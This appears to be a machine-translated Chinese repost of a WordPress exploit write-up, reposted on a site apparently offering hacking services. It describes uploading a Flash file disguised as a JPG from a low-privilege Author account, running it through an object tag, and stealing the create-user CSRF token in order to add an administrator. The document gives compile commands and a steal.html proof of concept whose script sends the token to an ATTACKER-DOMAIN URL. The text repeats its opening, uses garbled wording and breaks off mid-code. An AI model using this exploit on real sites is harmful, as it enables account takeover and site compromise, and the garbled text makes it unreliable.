布景
自2019年以来我就一直对WordPress的安全性较为重视,并在此期间我发现了许多风趣的东西。本文的意图便是期望与你共享我的一些研讨成果,因而我期望咱们能细心的阅览这篇文章。
在正式开端...
布景
自2019年以来我就一直对WordPress的安全性较为重视,并在此期间我发现了许多风趣的东西。本文的意图便是期望与你共享我的一些研讨成果,因而我期望咱们能细心的阅览这篇文章。
在正式开端议论之前,我想先向咱们谈谈WordPress。WordPress能够说是当今最受欢迎的(我想说没有之一)根据PHP的开源CMS,其现在的全球用户高达数百万,并具有超越4600万次的超高下载量。有关更多计算信息,请拜访这篇文章。 我开端做一些关于WordPress安全性的研讨,是因为它是一个开源的体系,其次它的功用对我来说也是一大优势, 源代码能够在这里找到。也正因为此,WordPress也成了许多黑客的进犯方针,一旦得手也就意味着数百万用户的沦亡。因而,咱们应该尽可能的确保它的安全。现在,有一家公司宣告愿意为任何WordPress的RCE缝隙付出5万美元的奖金!更多细节能够在这里了解。
技术细节
我开端对WordPress进行黑盒测验,以节省时刻并了解其作业流程。这里有许多文件需求审阅,我需求检查特定的函数。首要你需求知道的是用户人物:
超级办理员(Super Admin) – 有权拜访站点网络办理功用和一切其他功用。
办理员(Administrator) – 有权拜访单个站点内的一切办理功用。
修改(Editor) – 能够发布和办理帖子,包含其他用户的帖子。
作者(Author) – 能够发布和办理自己帖子。
贡献者(Contributor ) – 能够编写和办理他们自己的帖子但不能发布。
订阅者(Subscriber ) – 只能办理他们个人资料的人。
我检查了Capability_vs._Role_Table以了解WordPress的人物权限。所以我从订阅者开端下手,但该人物并没有什么好的功用能够用来做一些其它的工作。贡献者人物也是相同。当我在作者人物中时,我企图上传一些风险的文件(如swf,svg,html,…等),但均无法成功上传:(。
即便如此上传功用仍旧吸引着我的注意力,我查找了担任该功用的文件。我开端寻觅上传文件的代码。这花了我许多时刻,因为文件十分的多和杂,我还查阅了WP参阅。以下是最重要的相关功用:
getimagesize() PHP内置函数
wp_check_filetype_and_ext() WordPress函数
wp_check_filetype() WordPress函数
我注意到它们正在从HTTP恳求中获取MIME类型,并从文件名中获取扩展名。基本上这是依托getimagesize()函数来完结的,许多PHP的开发人员对该函数并不了解:
getimagesize()函数用于确认任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图画文件的巨细,并回来尺度文件类型以及在一般HTML标签内被运用文本字符串的高度/宽度。
能够看到SWF文件可作为图片文件被上传!因而咱们能够上传一个SWF文件,getimagesize()函数将回来一个SWF文件特点的数组。
我创立了一个具有幻数CWS的简略Flash文件,之后我将Flash文件扩展名更改为.JPG。然后导航到了了http://127.0.0.1/wordpress/wp-admin/media-new.php并上传了它。上传成功!
object标签和内容类型(Content Type)
因为我操控着第一个字节,因而我能够诈骗Flash插件将我的JPG图画作为Flash文件运转。
object标签有一个名为TYPE的特点,能够强制将呼应加载为特定的Content-Type。在咱们的比如中,咱们需求回来Content-Type头作为应用程序/x-shockwave-flash,这能够经过以下办法轻松完结:
object data="Ourfile.ext" type="application/x-shockwave-flash">
让咱们对上面的内容做个总结:
咱们能够从低等级人物向WordPress上传Flash文件。
Flash文件保管在同一个域中,因而SOP不会阻挠这种进犯。
咱们能够运用此办法拜访页面内容,然后导致从跨域中读取表单中的CSRF令牌。
WordPress上传的文件能够直接拜访http://127.0.0.1/wp-content/upload/{year}/{month}/{filename}.{ext}。
咱们现在需求什么?
一个flash文件,用于从相同的源读取数据并将其跨域发送。
一个HTML文件用于触发flash文件并接纳flash文件即将发送的数据。
一个用于创立CSRF恳求并增加新办理员的文件(可选,能够运用上面的同一文件来完结此操作)。
首要,让咱们编写Flash文件,以下是我用ActionScript编写的内容:
wp_poc.as
我运用ExternalInterface.call函数来调用将包含在我HTML文件中的JS函数。该文件将恳求发送到同一来历的特定页面并检索其数据。
我运用Flex sdk编译我的AS文件
C:UsersAbdullah>C:UsersAbdullahDownloadsCompressedbinmxmlc.exe C:UsersAbdullahDownloadsCompressedbinwp_poc.as
Loading configuration file C:UsersAbdullahDownloadsCompressedframeworksflex-config.xml
C:UsersAbdullahDownloadsCompressedbinwp_poc.swf (1075 bytes)
然后我将.swf改为.jpg(wp_poc.jpg)并运用作者人物上传。之后,我创立了会触发进犯的HTML文件。
steal.html
html>
head>
title>WP PoC!title>
script>
function stealtoken(data) {
var str = data;
var n = str.lastIndexOf('wpnonce_create-user');
var result = str.substring(n + 28,n+28+10);
alert('Your token is ' + result);
// Change the host here
document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result; //change this link to attacker domain
}
script>
object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/wordpress/wp-content/d/file/uploads/2019/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php">param name="AllowScriptAccess" value="always">object>
[1] [2] 黑客接单网
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/7434.html